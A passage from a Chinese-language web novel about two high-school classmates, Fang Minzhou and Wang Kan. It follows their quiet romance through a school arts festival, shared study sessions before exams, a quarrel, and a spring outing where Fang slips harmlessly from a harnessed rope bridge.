因为要容纳三个年级,所以座位之间间隙很小,方敏周也不想王衎坐她后面,某种别扭的感觉再次涌上来,背靠着椅背,坐得笔直。 王衎虽然看不到方敏周的表情,但她一些小动作直看得他想笑。她今晚的马尾扎得比平常高一点,露出了后颈一小块衣领遮不住的皮肤。王衎盯了一会后,觉得这个位置也行,挺近的。 节目单在演出开始前发下来,传到方敏周手中,她扫了一眼,热门的经典的表演节目中,王衎名字旁边的《绵绵》比较突兀。 “绵绵……”她默念了一遍这个词汇,抿着的唇瓣微微分开又轻碰,舌尖抵着前齿,想到那夜王衎略有些喑哑的歌声中藏着的“敏敏”,方敏周的脸开始发烫。 天黑了,但舞台的灯光亮得刺眼。 隐约还记得那首歌旋律,但完全不知道歌词是什么,虽然王衎不会唱了,但方敏周仍然感到害怕,怕是什么惊世骇俗的内容,也非常羞耻。终于决定不再为难自己,拿出手机搜索,还好今天有带。 一看歌词,有点傻眼。 像……失恋分手的歌。 可是那天晚上,王衎唱得很轻松愉快,且故作深情,即使那深情像很轻浮,但总之不伤感。 方敏周明白了,和去年在后台的那首《小小虫》一样,其中几个词,被王衎拿来做文章,所谓借花献佛。 她不由得再次“庆幸”王衎唱不了了,不然……而且万一被其他人发现他的意图,怎么收办? 可是……也不是不可惜。 单纯的可惜。 在主持人口中只是一句“有同学因身体不适退出比赛”,在其他观众眼里只是少了一个不知道好坏的节目,只有她知道,他有用心准备——虽然目的有待商榷,但也只有她提前听到了几句,知道他唱的,是好听的。 Q/Q突然弹出来自王衎的新消息弹窗。 方敏周呼吸一滞,好一会儿,才决定点开。 王衎:不能说话了好烦 王衎:本来想耍波帅的给你个惊喜[汗],还好提前唱了几句 王衎:其实以前听这首歌还觉得挺悲的,但现在每次听到都会想笑 方敏周握紧了手机,她的喉咙没有发炎,但这一口唾沫却也吞得艰难。 比赛已经开始了,现在台上是一个男生在嘶吼《追梦赤子心》,她前面有些人站起来跟着挥拳摆手,像高低不一、稀稀疏疏的森林落下阴影,发亮的手机屏幕是月光下小小的池塘。 王衎发来新的消息:不过如果你以后不理我了的话,我能听这首歌听到心碎 方敏周抑制住转头的冲动。 他作文写得不怎么样,却常常语出惊人,弄得她笑也不是、气也不是,哭更不是,这要她怎么回? 方敏周:知道了 王衎:/撇嘴 王衎:/得意 四月的晚风暖融融的,把心照不宣的秘密熬化成糖,心脏被甜丝丝地裹了好几圈,流动的糖浆风干,变成了心型的琥珀。 方敏周望着舞台,慢慢地呼吸了一口气。 十七八岁,在长大成人的过渡期里,好像有一场特殊的抓周礼。 同样有许多东西摆在面前,同样有许多东西,大人们或是劝导或是引诱地让拿在手里,只是双眼不再懵懂无知,表面上乖顺,背地里偷偷藏起一些真正喜欢的零碎,然后和对上眼神的同犯一起做从宴席上逃跑的小孩,在角落里偷偷玩搭积木的暧昧游戏。 一句话是一块积木,一个眼神也是,你来我往,地基并不牢固,楼却搭得越来越高,摇摇欲坠,时常害怕,却又有那么一个瞬间莫名膨胀,站在边缘,仿佛真的有勇气乘风而去,去不知道的地方。 方敏周突然被旁边的欧阳茜戳了戳,她吓了一跳,欧阳茜也吓了一跳,面面相觑,欧阳茜一笑,拉过她,举起手机,“拍张照。” 方敏周反应过来,靠近欧阳茜,两个人的脑袋挨在一起,笑着看向镜头。 下一张,头顶空出来的地方多出比剪刀手呲牙的王衎。 再下一张,又多出做鬼脸的郑彦航和像是突然被拉进来所以只有微笑的吴丞。 “你们烦死了!”欧阳茜抱怨。 “不烦不烦。”郑彦航积极道,“来来来,我帮你们拍。” 欧阳茜:“不要,要拍也是让王衎帮忙拍吧。” 话音刚落,几个人都静了静。 欧阳茜看看方敏周、看看王衎,再看看大气都不敢喘的郑彦航和依旧老神在在的吴丞,“因为王衎拍照技术比较好啊。” 方敏周:“……” 王衎无声一笑。 不得已,方敏周面对面看向了王衎的镜头,拍完,赶紧转过身去。说真的,有点想掐欧阳茜,偷偷瞪她,后者还是一脸无辜的表情,方敏周几乎要被气笑。 个人比赛都比完,就是班级合唱,按抽签顺序来,八班第三个出场。 第一排先自右边的阶梯上台,再是第二排跟上。方敏周往右边看调整位置,正好王衎走了过来,迎面对上,他朝她微微挑了挑眉,快速做了一个小幅度的深呼吸的动作,意思大概是让她别紧张。 方敏周心想,又不是她独唱,她哪会紧张。 但正视前方、眼睛被大灯照得差点睁不开时,心跳还是加快了。 上一次站在舞台上好像也是高一的合唱比赛,随随便便唱完下台,现在就算要回想,大脑也像被过曝了一样空白。 虽然大家平时排练的时候也没多投入,但等到正式比赛,一个个的架势倒是摆得很足。方敏周前面和右边的女生都越唱越大声,她听不见自己的歌声,也听不见身后王衎的。 她望着台下,但什么都看不清,一切都模糊成刺眼的光团,她望向远方,隐隐约约,还可以辨识出丘陵的轮廓,像柔软的波浪,在她的心中起伏。 一阵微风吹来,她的心再次鼓胀,反应过来的时候,方敏周发现自己的声音也大得出奇,比她在浴室唱得大多了。 地平线在夜色里消失不见,她只是忽然想要听见自己的声音。 第33章 第 33 章 唱完,左转,还是第…… 唱完, 左转,还是第一排先走。 眼睛被强光照得眼花,几乎要流眼泪。 方敏周本来不想去看王衎是什么反应的, 但他的目光太直接, 她左半边脸在他的注视下直接升温。没忍住, 还是瞥过去, 他见她看过来, 反而有点不好意思地摸了摸脖子。 方敏周一头雾水,不知道王衎在害羞什么,她还没怎么样呢……结果王衎又忽然悄悄向她竖起一个大拇指。 这下方敏周是整张脸都热了, 回正目光,跟上第一排的队尾。 最后他们班拿了团体第二名, 还不错的成绩,主持人宣布艺术节圆满落幕, 最后一件事是把椅子搬回班级。 集合的时候是陆陆续续集合的, 散场却是集中散场, 加上搬椅子上楼比下楼更费劲, 教学楼楼道里便堵住了。有男生把椅子举过头顶, 倒是能比较自如地从人群穿过, 就是旁边的人纷纷抬头尽量后缩,生怕椅子不稳掉下来砸到自己。 王衎把自己的椅子扛回教室后,下楼帮忙——主要是想帮方敏周的忙。 但是有人比他快一步。 “……我自己搬就行, 谢谢班长。”方敏周说这话的时候,余光看到贴着扶手快步跑下楼梯的王衎, 但他在看到她和林斯年在一起时,脚步就放缓了,慢慢从暗处走到亮处, 脸上是若有似无的警惕。 方敏周一下子就想到王衎之前乱说的话,又是无语又是好笑,也有点被误会的不爽。她和林斯年平时都没怎么说话,真不知道他哪来的联想力,莫名其妙。 欧阳茜毫不客气把椅子交给林斯年了,于是林斯年左右手各拎一把往楼上走,欧阳茜另外去帮班上比较瘦小的女生。 方敏周拖着椅子经过王衎旁边,他跟上来,寸步寸行的人潮中,方敏周觉得自己好像凭空多了一条小尾巴,心虚怕被别人看到,她微微偏头,不看王衎,用只能两个人才能听见的声音,“……你去帮别人啦。” 王衎摸摸耳朵,但左右一看,也没有能帮的人。 忽然,他发现了几个台阶之上的孙彤,她正看着他们,尽管仍是面无表情的脸,俯视的目光却像是在观察。 王衎一愣,孙彤已经收回了视线。 王衎对孙彤的印象模糊也深刻,如果没有看到她本人,他几乎会忘记她长什么样,但又知道她是万年班级第一,全班唯一比方敏周成绩更好的女生——偶尔超常发挥的欧阳茜暂且不算。 大概是这么一瞬间,王衎好像有点更能理解方敏周回避他的原因。 他自己是一个想法简单的人,但不妨碍他讨厌复杂的家伙。比如林斯年,所谓斯文败类,文质彬彬的人最是虚伪,同为男生,他真不信林斯年私底下也这么礼貌体贴好教养,孙彤也是,好像所有人都欠她钱,不知道在想什么。 王衎略一思考,挤过几个人,从孙彤手中拿过椅子,指了指自己,意思是包在他身上。 孙彤猝不及防被抢了椅子,惊讶地回头看了方敏周一眼。方敏周也吓了一跳,过了会,才在心里嘀咕孙彤为什么要看她。 关她什么事啊…… 等方敏周回到教室,王衎已经跑了,方敏周慢慢收拾好书包,她离开时,教室里只剩下还在整理东西的林斯年和重新又投入到学习中的孙彤。 王衎现在改为在楼梯口底下等她,左右校园已经走空大半,往车棚,再是他先送她回家。 王衎起初还试图想说几句话,但一天过去了,他的声音也没好转多少,只好作罢。方敏周觉得这种被迫的沉默稀奇又好笑,不过真的要选择,还是能说话的好,不然他骑在她后面的时候,她总想要回头确认一眼。 当然不是怕他走丢,也应该不至于出意外,就是一种莫名出现的反应。 骑到一半,在一处红绿灯前停下,方敏周想好了,对赶上来的王衎说:“等会你骑我前面。” 王衎面露疑惑,想问,没声,也就点点头。 等绿灯亮了,王衎看了她一眼,先骑出去,骑过十字路口一段路后,回头看了方敏周一眼,就见她忽然笑起来。 王衎不禁停下车,疑心自己是不是被捉弄了,而方敏周心情愉悦地从他身边骑过,“走啊。” 王衎:“……” 他重新骑到了方敏周前面,再回头,树影斑驳、灯光昏黄的林荫路上,方敏周又笑了。他皱眉沉思,想不出所以然来,最后也跟着笑起来,还特意把车骑快了些,再停下来隔着一段距离回头等她,如此反复,两个人骑到天桥前的时候,都笑到有点笑不动。 车头并排,王衎扭头看方敏周,还是要问:”笑什么啊?” “什么?没听清。”方敏周说,“你还是别说话了。” 王衎:“……” 方敏周认真看他的嘴唇,他的口型是在说:笑、什、么、啊。 “没什么啊。”方敏周回答,因为她也不知道,这个时候也觉得刚才的自己有点犯傻。 王衎不信地努了努嘴。 方敏周看着倒计时的红灯,问:“你饿不饿?” 王衎又看过来。 “……我请你吃点东西?”方敏周有点犹豫地开口。 今天在食堂的时候她有看到王衎,他就坐在她斜前方那桌。大概是因为难以下咽,平时光盘的人饭都没怎么吃,想想他送她回家,等会还要再骑回去,肚子估计早就饿了,“粥可以吗?” 王衎挑高了眉毛,难以置信地望着方敏周,但点头。 方敏周请王衎吃附近一家开了很多年的砂锅粥,落座后其实有点后悔,这里离她家小区太近,说不定就会遇上熟人,还好现在客人已经不多,但……也正是因为不多,两个穿着同样校服的学生面对面坐在一起更加惹眼。 方敏周都不知道是不是自己敏感,总觉得老板娘端粥过来的时候,眼神特别意味深长。 她不会认识她吧? 但她就是请同学吃个夜宵而已啊。 如果有人问,方敏周决定这么说。 王衎难得再一次有机会和方敏周同桌吃饭,本来还觉得她今晚像是变了一个人,纳闷一首情歌的力量原来可以这么大,现在看她束手束脚的样子,就知道她还是她。 他慢悠悠地吹了口粥,心想,吃个饭而已嘛,紧张什么。 默默吃了一会后,方敏周更加觉得吃粥是个错误的决定。因为粥很烫,所以吃得很慢……她想吃快点,还把自己的舌头烫到了。 吐舌头的时候被王衎看到,虽然他很快垂下眼,热意还是訇然窜上了方敏周的脸。 好不容易吃完,一脑门的汗,王衎不知道是故意还是因为喉咙痛,才吃了一点点。 被方敏周盯着,王衎虽然乐意,但这会儿也有点不好意思了,微微仰起脸,左手食指指了指自己的喉咙。 男生突出的喉结微动。 ……好吧。方敏周心想。 王衎却忽然又放下勺子,从旁边的书包里拿出mp3,调了调,递给方敏周。 屏幕上显示得是他今晚本来要唱的那首歌。 方敏周看了看他,犹豫了几秒,还是接过,戴上了耳机。 就像王衎说的,明明是伤感的音乐,心情却一点难过不起来,听得耳朵发热。 等她把这首歌听完,还另外再次领略了下王衎的歌单后,他终于吃完了。 粥店门口刚好有遛小白狗的老夫妻从他们身边经过,方敏周隐约听见他们说了句“一中的”,心下一紧,赶紧催王衎回家。 王衎只好骑车走了,骑到前面的斑马线前,回头朝方敏周再挥挥手。 方敏周还站在店门口,她第一次看王衎身影在车流中慢慢变小,想到之前好像都是他目送她离开,心里升起一种陌生的感觉。 天边的月亮将满未满,今晚的一切即将结束,情绪回落,方敏周不是没有一点惆怅,但她必须得回家了。 无数个想要长大的瞬间就是渴望自由的时候。 因为知道学校晚上有艺术节表演,她比平时迟了一点回家,爸妈也没说什么,问她比赛怎么样,方敏周说班级合唱团体第二名,另外挑了些事情分享,就回到自己的卧室。 赵宁英推门进来看到方敏周在看书,又是欣慰又是心疼,把牛奶放在桌上,“别看了,休息会。” “好。”方敏周应。 牛奶其实喝不下了,她刚才趴在桌上其实也并没有在学习。 把藏在单词书下的手机摸出来,方敏周感到罪恶。她真是学坏了。 但……就这么一会儿,她对自己说,妈妈也说了嘛,休息一会,明天她就好好学习。 方敏周进入Q/Q空间,大家的说说都在记录这次艺术节,第一条动态是王衎的,他发了两张照片:一张房间角落里的吉他,一张月色图,配文:4月13日。 底下同学们纷纷评论。 郑彦航:可惜啊可惜 王衎回复:不可惜不可惜[得意] 郑彦航:王哥心态真好[赞] 方敏周放大这两张照片,忽然发现哪里不对。拉开桌前的窗帘,打开窗户,和煦的夜风扑面而来。 她反复比对现实和网络,最终确定王衎那张风景图是在她家楼下拍的,尽管只有树叶和月亮,但角落里模模糊糊露出了她家附近一座大厦的尖顶。 方敏周说不出话来。 再往下滑,郑彦航居然把他们的合照发出来了! 方敏周紧紧捂住了脸。 好一会儿,她放下手,再次打开手机,欧阳茜已经评论了郑彦航,方敏周只有妥协,给两个人都点了个赞。 第34章 第 34 章 每次有什么活动,都…… 每次有什么活动, 都会有同学“热心”把照片和视频传到学校贴吧。 这次艺术节,不知道是谁给每个班级都拍了一张合唱照片,建了个相册, 一股脑全传上来了。 反光的背景板前, 从高到低的四排、统一的蓝白色短袖校服, 乍一看每张照片都一模一样。 有些照片还有点糊, 方敏周一张张翻了好半天, 才找到自己班的。大部分同学都目视前方、张着嘴,包括她,煞有介事的, 看不出来是真唱还是假唱,方敏周看得有点想笑, 而她身后的王衎垂着眼,像是在看她。 电脑屏幕前, 她两只手握拳, 撑在嘴角两颊。 方敏周是潜水党, 偶尔看看贴吧, 没发过言, 有些ID则很活跃, 字里行间暴露了自己是谁,比如郑彦航。 她能认出来,是因为之前元旦假期, 有人发帖问迎新晚会上高二八班课本剧演白马王子的是谁,底下一个带“航”字的ID@了另一个英文ID。 方敏周那时点进英文ID的主页看了看, 后者关注的基本都是游戏和运动之类的贴吧,这次又刷到,再点开, 多了一个头衔最低的“江城大学”。 方敏周一愣,她都没有关注江城大学的贴吧,心情有点复杂,搜索起往年江城大学的录取分数线。 尽管不愿意承认,但她自己尚且够呛,王衎机会非常渺茫。 不过……也许呢。 只刷网络,大家看起来都还挺意犹未尽的,实际周一返校后,期中考的压力无言间就取代了艺术节的后劲。与此同时,高三马上就要迎来二模测验。高考在即,意味着他们这届高二马上也要升入高三,气温一天比一天高,气氛也一天比一天紧张。 几天前还坐在操场上随着歌声摇晃,几天后就是期中考试;一年前的这个时候还在担心分班考试,一年后的现在就马上要走进高考考场——时间过得太快,日子却一成不变。 学校给高三单独划了一片区域,教学楼、食堂和宿舍紧挨在一起,生活可谓更加三点一线,不过食堂饭菜很好,时不时会有高一高二的学生混入打牙祭。 这天方敏周吃完晚饭回到教室,听到有同学在讨论高三食堂不让他们吃饭的事情。据说是有高三的学生向老师反映,他们去食堂去的迟点,想吃的菜就都被高一高二的抢完了。 “怎么可能啊?又不是所有人,而且可以自己早点过去啊。” “不过怎么看得出来谁是高一谁是高二啊,难道还要看我学生卡?” “我也不知道,好像……真的看得出来。” 大概是一些精神面貌上的不同。 方敏周想了想,换做她学累了想去食堂填填肚子,却看到轻松聊天的学弟学妹,估计心里也会不平衡。说到底,还是学校区别待遇的问题,为什么不能也顺便提高下高一高二的食堂质量? 晚自习还没开始,聊天的内容变为对高三生活的恐惧。聊得嘻嘻哈哈的,像是在开玩笑,其实是因为彼此心照不宣,清楚真正害怕的不是高三而是高考。 方敏周犹豫要不要带上耳机,她不是圣人,做不到听他人焦虑自己还能心如静水。上次月考她掉出了段前二十名,但也算正常,至少比她上学期有进步。她尽量放平了心态,只希望这次能保持在三十名以内。 但往前看,孙彤挺着背,没有带耳机,手中的笔没有丝毫停顿,让方敏周想起伟人在菜市场也能学习的励志故事。 这个时候王衎回来了,拉开椅子,大咧咧地一坐,摸出一盒口香糖,递到方敏周面前。 口香糖和塑料盒碰撞发出轻轻的哗啦声,方敏周拿了一颗后,王衎拿了两颗扔进嘴里,立刻就掏出了卷子,好像惦记学习惦记得紧。 嚼到了甜甜的草莓味,方敏周深呼吸了一口气,静下心来。 如果说王衎上学期末是认真,那么这次备考则是充满激情,没有唉声叹气,只有做出答案的兴奋。 方敏周看他猛刷题的样子,怀疑他囫囵吞枣,但抽查了几道,还真会,最近也不再问她一些纯粹没事找事的问题,甚至骑车回家的路上,都会和她讨论题目。这让方敏周感到欣慰,隐隐也有些被鼓舞。 真没想到,竟然还有她和王衎共勉的一天。 但最后,王衎段排名仅比上一次月考进步了五名而已,截至目前,考得最好的还是开学考那次,而方敏周考了班级第三,段二十二,符合她的预期。 周六下午三点多补完课后,方敏周没有立刻回家,她和爸妈说要去图书馆学习,实际上……也算是八九不离十:在图书附近的麦当劳帮王衎复盘这次的期中考试。 之前王衎安慰她、她开导王衎,牛头不对马嘴,还吵了架。这次分数出来,方敏周本来有点担心王衎自暴自弃或者自怨自艾的,但他的情绪比她想象的稳定,似乎有越挫越勇的趋势。 方敏周虽然高兴王衎把学习当一回事儿了,但看到他也因为分数高低而开心或低落时,她又觉得残忍。因为王衎本可以没有这个烦恼,这是被她影响的,到底是好事还是坏事,方敏周不知道。 她希望能是好事。 试卷老师课上都讲解了,王衎自己也总结过,方敏周不过是站在她的角度再给王衎一点建议,饶是如此,全部试卷分析下来也花了一个多小时。 王衎全程也还算乖地听她说话,虽然偶有小动作:比如听累了似的下巴抵在桌上,她敲桌子瞪他,才懒洋洋地坐直身体,亦或是故意拿薯条蘸圣代,被她骂恶心,还笑嘻嘻让她也尝尝。 末了,方敏周还是打算说些好话:“其实如果你每次考试都能进步五名,现在到高考,差不多还有十次考试,你也能考进前五十了。” 王衎默了默,“方敏周,你现在说话还挺幽默的。” 方敏周:“……” “我说真的,我是在夸你诶,你怎么这个表情。”王衎说,“好啦我知道,放心吧,我现在干劲十足,只要你别嫌弃我就行。” 方敏周一愣,“我哪……” ……有嫌弃你。 逗到了人,王衎咬着薯条笑。方敏周起身要去卫生间,他的笑才淡下来。 他其实是在嫌弃自己,都学成这个狗样了,还考成这个鸟样。 主要他并不是只这两周做面子地复习而已。 方敏周上次说他说得对,到了现在的分数区间,他不可能再妄图用几周的突击就掰倒其他人长年累月的努力,所以整个寒假他都有在复习,平常学习下来自我感觉状态也不错,偏偏一到考试就东扣一分西扣一分,也就开学考狗屎运了一把,月考就掉下去了,期中考还没考好,他没借口了。 就算是前五十,江大的边都摸不到。 现在的他,开始理解上学期期中考方敏周自认为考砸了的心情,他那时候真傲慢,方敏周真厉害,稳中求进,厉害到他开始害怕两个人差距越来越大,大到方敏周再也看不到他。他没和方敏周说过,他其实这学期就想考进前五十,等到高三还得了?棺材都盖到一半了。 但等方敏周回来,他又是一副云淡风轻的样子,吹起牛来不打草稿,作势下次就考年级第一,惹得方敏周翻了他一个白眼,他反而舒坦,因为他感觉得到,抱怨担忧成绩的王衎,大概不是方敏周想要看到的王衎。 “我也打算报个补习班。”他说。 方敏周确认王衎是说认真的后,点了点头。 果然人一旦自己想学拦也拦不住,她想,之前落下的课程还能自学补上,以王衎现在的水平,是可以报个提升班了。这年头,不补习的还是少数。 “我能和你一起吗?” “不能。”方敏周斩钉截铁地拒绝。 王衎耸耸肩。 他也就是随便问问,早有预料方敏周不会答应。 王衎后来去补习的老师家刚巧和方敏周的补课班很近,他软磨硬泡,方敏周权衡再三,最后同意每周六下午下课后,可以约在麦当劳或者图书馆一起学习一会。 王衎找的补习老师是省城退下来的老教师,经验人脉都非常丰富,带人名额有限,更别说接纳他这种中途想要插进来的。王衎在方敏周面前没有藏着掖着,直说是他爸妈托人讲的关系,他同方敏周分享课上的笔记和练习卷,方敏周有点惊讶,王衎则不以为意。 名师教案,不可能不心动,但是……他的课时费绝对很贵,加上超级中学的测试卷是能打包卖钱的。方敏周上得起这种课,又上不起这种课,她有种自己占了便宜的感觉,想问王衎学费多少,但怎么问,都觉得有点尴尬。 王衎看出来了,他有一点不爽,觉得两个人都这样了——虽然也没怎么样,方敏周怎么还这么见外,但还是用开玩笑的口吻:”想什么呢?我妈听我说要补习都快感动哭了,她要是知道都是你的功劳,高低要给你包个大红包,而且你还天天帮我补课,这么算,我还欠你一笔学费呢方老师。” 方敏周也只有打住。 无论如何,于她,占了便宜是没办法卖乖的,她只能把题目一道道研究透彻,并确保王衎也掌握了。 她和爸妈说自己要去图书馆自习,爸爸妈妈毫不起疑,还多给了她一些零花钱,让她饿了渴了买点东西吃。 “肯德基麦当劳这种不要吃,特别是可乐,对身体很不好,面包饼干这种可以。”妈妈特别强调,“也别吃太多,垫垫肚子就可以了,别晚上回来吃不下饭。” 方敏周心虚应和。 春夏之交,天气阴晴不定,方敏周的心情也反反复复,有的时候和王衎相处太开心,会有负罪感,负罪感之后,又感到委屈,因为她觉得自己真的只和王衎谈了学习。 方敏周确认自己陷入这样一个恶性循环时,眨眼间又是月考,这次她和王衎都有进步,她的心理压力瞬间轻了许多。 明明没有谈恋爱,却好像承受了谈恋爱的压力,真是奇怪且太不公平。 她想起之前问元月,为什么害怕却还想要和沈路明交往,元月双手捧着红红的脸,害羞又甜蜜地说:“因为喜欢啊喜欢的话就会想要在一起吧?" 所以是她不够喜欢王衎?脑海中第一时间冒出否定回答时,方敏周觉得自己真的要完蛋了。 第35章 第 35 章 班级默认每一个月,…… 班级默认每一个月, 组与组之间调换一次座位,虽然实际间隔时间比这长,因为大家有意无意都没有提起, 书桌太重、东西太多, 搬运起来是一个大工程。 这天记起来了, 方敏周再一次从第四大组调到了第一大组, 她都是靠窗外坐, 而窗外都是不变的春光。 有一次化学课上,詹老师让方敏周去办公室拿一下遗漏的实验道具,从三楼走到四楼, 只有她一个人。 阳光整齐铺满走廊,一边是小鸟在树梢叫唤, 一边是老师在黑板前讲课,窗边有上课不专心的同学注意到她的经过, 那短短几分钟, 方敏周感觉自己像是获得了时间暂停的魔法。 她和欧阳茜聊, 欧阳茜同样感慨:是啊, 春天到了。 她不和王衎聊这些, 他难得静下心来学习, 别又心思涣散了。 春天不是读书天,但五月是劳动月。 响应五一劳动节,学校组织了一次全校大扫除, 之后是春季研学活动,其实也就是春游, 只是比之单纯的游山玩水,加上了一些社会实践活动,比如他们要自己做饭, 对此大家倒是还挺兴奋的,反正要是自己做的菜不好吃,就去吃别人的。 这期间发生了两件事。 第一事是在大扫除的时候。 方敏周知道王衎大概是想帮自己忙,然后又知道她怕被同学误会,结果反而很愚蠢地搞得像是在故意找她茬,说她玻璃擦得不干净,硬要抢她手里的抹布。 方敏周非常无语,这样不是更引人注意了吗? 林斯年看到后,温和地提醒了王衎一句,方敏周看到王衎直接沉下了脸,林斯年似乎也有些意外,对方敏周微微笑了笑,大概是让她如果有事找他的意思。 “你俩对什么眼神呢?”林斯年走后,王衎凉凉问她。 方敏周莫名觉得这话有点难听,看了眼王衎,没回答,拿了抹布去清洗。 再之后,就是搬椅子进教室的王衎和准备去倒垃圾的林斯年在后门迎面撞上,椅子磕撞到林斯年的小腿,他吃痛地倒吸了一口气,簸箕里的垃圾里落了一地。 受伤的人是林斯年,过错方就像王衎了,方敏周找来扫把重新打扫,和其他同学一起关心林斯年有没有事,再去看王衎时,他表情更差。 方敏周心里咯噔了一下。 林斯年说他没事,是他不小心,主动向王衎道歉,王衎什么也没说,黑着脸转身就离开了教室,剩下的人面面相觑。 方敏周没有站在谁那边,反而怕大家责怪王衎,但这时候也觉得他过分了。 之前她只是觉得王衎幼稚闹脾气,现在发现他是真的对林斯年深怀敌意,但方敏周又很不能理解为什么?而他越是讨厌林斯年,就越搞得她和林斯年有什么一样,这让方敏周深受冒犯。 晚上骑车回家的途中,她忍了又忍,还是提起来白天大扫除的事,告诉他,如果他真的是想帮她,也应该先做好自己的事情,那个时候他再来帮忙,也不会有人觉得奇怪。 “而且我也不需要你帮我啊,你不要每次都……” 方敏周想说抢着表现自己,但这话有点拂人心意,她没说出口,最后建议王衎应该和班长道歉。 突然,极其刺耳的刹车声利箭般穿透方敏周的耳膜,她吓了一跳连忙停车往后看。 只见王衎好端端的,两腿踩地停住了车。树荫和路灯把空间分成明暗两块,他正好在阴影里,表情看不清,但说话是咬牙切齿:“你让我向林斯年道歉?” 至此,方敏周觉得和王衎没什么好说的了,她也冷了声音,“那你不想道歉就不道吧。” 反正被其他同学觉得脾气差的人又不是她。 “方敏周……” 后头王衎喊她,方敏周也不想理,一味骑快了自行车。 隔天周六,之前王衎就说了他这天家里有事,所以方敏周补习课结束后直接回了家,周一返校后再见到面,两个人之间的气氛就有点尴尬,直到春游当天也没有好转。 第二件事便是发生在春游的时候。 那天是个大晴天,万里无云。 到了景区,先爬山,再下到山涧,到了一处拓展训练基地,除了陆地上的攀爬架和吊桩桥,还有一座悬于十米高水面的风雨吊桥。 相比那种万丈悬崖,难度系数看起来小很多,但临到阵前,免不了腿软。 看到桥上的人像筛子上的黄豆颤抖,本来马上要上桥的人掉头排到了队尾,下一个一惊,也跑了,一个接一个,瞬间群龙失首、鱼贯而回。队伍乱了那么一阵,排在下一个的人变成了方敏周。 她倒也不是不害怕,但……更相信出不了什么意外。 系安全带的时候,方敏周回头看了一眼,却发现不知道什么时候,站在她身后的人变成了王衎。 他面无表情的,像还在生闷气,和她对视了一眼后,就把目光移到了旁边。 方敏周回过头,向工作人员说了声“谢谢”,然后走到绳桥边,抓住两边的绳索,稳稳踏上了第一块木板。 走了几步,当吊桥又晃了一晃后,方敏周知道是王衎跟上来了。 说不定又是出于什么使者什么骑士什么英雄的想法,但他殿后,方敏周的心确实微微定了定,尽管他们今天还一句话都没说过。 十米的吊桥,说长不长,前面还算顺当,但走到一半,处于吊桥中间的人腹背受敌,前后任何一位的动作都可能让吊桥东倒或西歪,脚下是起伏不停的波浪,好像在一个不断有人起跳落下的蹦床上试图走直线一样困难。 方敏周在左摇右摆中继续前进,但最近的一块木板一下子荡得好远——失重感从脚底冲上头顶,她在他人的尖叫声中睁开眼睛,面前青山绿水、阳光灿烂,她在空中悠悠打转。 她掉下来了。 被工作人员拉上来的时候方敏周还有点懵,但看到人群之中王衎发白的脸色,才意识到刚才发生了很吓人的事。 后来方敏周才听到,部分同学之间流传着她是因为王衎掉下去的谣言。 怎么因为?也不知道发生了什么,所以更离奇的说法都有,方敏周听了吓了一跳,“没有啊,我就是不小心。” “……真的吗?” 有人犹有不信,称当时看到王衎在方敏周后面就感觉不妙,“我感觉你后面走得特别快……” 这倒是有点…… 吊桥晃来晃去的,要么是感觉王衎往前靠向了她,要么是她被重力拉着几乎要往后坠入到王衎怀中,加上肾上激素飙高,她不由得就想赶快走完,要不是实在控制不住自己的身体,真想像那些跑酷选手一样直接冲到对面。 但,这也和王衎没太关系,方敏周强调。 “其实挺刺激的……” 方敏周说完这话,看到所有人都露出了惊讶的表情。 她讪讪,“就有点像……蹦极?但有安全带,所以就掉下去一点点而已。” “……你不恐高吗?” “你不要往下看,往旁边看。”方敏周说这话都有点想笑,好像在传授什么经验一样,“感觉就像……坐飞机一样?” 欧阳茜笑:“你这说的,我现在都想回去重新掉一遍试试看了。” “你之前不就说高考完要去蹦极吗?”方敏周回。 虽然有人仍提到王衎之前什么事情做的很过分,像王衎这学期学习这么认真,看起来也只是想要压过方敏周而已,但刚才的事情,仔细想想,应该也是意外,王衎虽然脾气不怎么样,但不是恶人。 也算是解除了大家的误会,方敏周松了口气。 声东击西……这下是真的声东击西了,她都不知道,她和王衎的关系在班上其他人看来已经恶劣到这种程度。 而到了野炊基地,方敏周看到詹老师还单独把王衎叫到了一边谈话,她怀疑也是和她有关。 王衎回来后,方敏周刚洗好芹菜。 芹菜炒鸡胗本来就是王衎要做的菜,方敏周把芹菜交给王衎,两个人没说上话。方敏周去做别的事,没一会儿,王衎把自己的手指切了,血瞬间流了一滩,把他们这组人吓得够呛。 方敏周带了碘伏和创口贴,不等谁去把詹老师叫来,她先带王衎到一边的阴凉处消毒。 还好刀口不算深,沾了碘伏的棉签轻轻涂上伤处,王衎没吭声,方敏周悄然抬眼看了他一眼,他垂着眼睛,看不出神情。 詹老师闻讯赶来时,方敏周已经帮王衎包扎好了,王衎又被詹老师叫到了遮阳棚下。 方敏周重新洗了把芹菜放到一边,直到她把自己要做的菜炒好,都没见王衎回来,看了一圈,也没看见他,只看到郑彦航和吴丞在烧烤架前手忙脚乱。最后,方敏周在松树林后的湖边找到了王衎,他在打水漂。 石块被用力地抛出去,在平静的水面上接连蹦跳,于最浮光跃金的水平线处沉没挖,王衎收回视线。 他余光察觉到方敏周走向了他,他有点想躲,又躲不开,脚下像生了根,揉捏着手心里的石头。 “准备吃饭了。”方敏周对他说。 王衎闷闷应了声,但没动,过了一会,他滞涩开口:“对不起啊。” “什么?”方敏周一时没反应过来。 王衎看向她。 正午的阳光把一切照得纤毫毕现,方敏周看到他的眼睛有点红,“……你不是被詹老师骂哭了吧?” 王衎:“……” 他低头用指节揉了一把眼睛,“被风吹的。” “詹老师说你什么了?”方敏周换了个问法。 王衎不说,方敏周心里有些蹊跷,总不能是切到手指疼哭的吧? “……所以你不生我的气了?”王衎鞋尖蹭着泥土,小心问她。 方敏周有点懂了,他是在说她从吊桥上掉下来那件事,她开玩笑:“又不是真的是你推我下去的。” 王衎猛地抬起头看向她,像是有点生气她怎么还会拿这件事情打趣。 方敏周摸了摸鼻子,这搞得,到底是谁掉下去了啊……“我不是没事吗,有安全带啊。” “万一没有呢?” 方敏周:“……” “没有安全带我就不会上去了。” “那万一安全带有问题呢?” 方敏周:“……” 这样强词夺理,学文科还是学理科好像都要完蛋。 “对不起……”王衎意识到自己的情绪有点失控,明明是在求方敏周原谅,结果变得像是在指责她,他只是……太害怕了。想要保护她。结果什么都没有做到。 在她掉下去前,她还红着耳朵低声让他离她远一点,那时候他倒是想,但没办法。也许因为传说中的吊桥效应,心跳得比体测一千米冲刺时还要快,注意力都在方敏周脖后沁出的汗水上,阳光下。亮晶晶的。 但在眼睁睁看到方敏周在他眼前坠落的那一刻,什么旖旎心思都没有了,大脑瞬间空白,后来他想,他这辈子应该都不会再经历比这更恐怖的事情了。 